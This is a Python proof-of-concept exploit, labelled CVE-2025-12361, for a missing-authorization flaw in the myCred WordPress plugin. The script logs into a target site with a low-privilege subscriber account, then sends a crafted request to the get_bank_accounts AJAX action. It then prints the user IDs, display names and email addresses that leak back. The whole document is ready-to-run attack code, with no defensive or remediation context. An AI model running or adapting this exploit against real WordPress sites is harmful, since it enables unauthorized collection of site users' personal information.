CVE-2025-12361

import requests import json # CVE-2025-12361 PoC - myCred Missing Authorization # Target: WordPress site with myCred plugin <= 2.9.7.1 target_url = "http://target-wordpress-site.com" # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate with low-privilege account (subscriber level) session = requests.Session() # Login payload - replace with valid credentials login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Login to WordPress login_response = session.post(f"{target_url}/wp-login.php", data=login_data) print(f"Login Status: {login_response.status_code}") # Step 2: Exploit the vulnerable get_bank_accounts AJAX action # This action lacks proper authorization checks poc_payload = { "action": "get_bank_accounts", "hook": "banking", "request": json.dumps({ "ref": "mycred_default", "ref_id": 0, "user_id": 0, "data": {} }) } # Send exploit request exploit_response = session.post(ajax_url, data=poc_payload) print(f"Exploit Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # Step 3: Parse leaked user information try: data = exploit_response.json() if "data" in data: print("\n[!] Successfully leaked user information:") for user in data["data"]: print(f" User ID: {user.get('id')}, " f"Name: {user.get('display_name')}, " f"Email: {user.get('user_email')}") except: print("[-] No valid JSON response or no data leaked")

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